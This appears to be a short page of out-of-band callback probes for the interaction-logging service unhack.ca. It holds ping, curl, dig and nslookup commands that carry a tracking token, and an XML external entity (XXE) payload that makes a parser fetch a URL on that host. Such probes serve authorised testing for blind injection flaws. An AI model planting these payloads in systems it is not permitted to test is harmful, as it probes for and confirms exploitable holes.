$ ping -c1 -p 004437562a12bcdeb1acaa9ee9f7bf00 unhack.ca
 

$ curl http://unhack.ca/p/4437562a12bcdeb1acaa9ee9f7bf
 

$ dig 4437562a12bcdeb1acaa9ee9f7bf @unhack.ca
 

$ dig 4437562a12bcdeb1acaa9ee9f7bf.ns.unhack.ca
 

C:\> nslookup 4437562a12bcdeb1acaa9ee9f7bf unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4437562a12bcdeb1acaa9ee9f7bf">]>
    <foo>&xxe;</foo>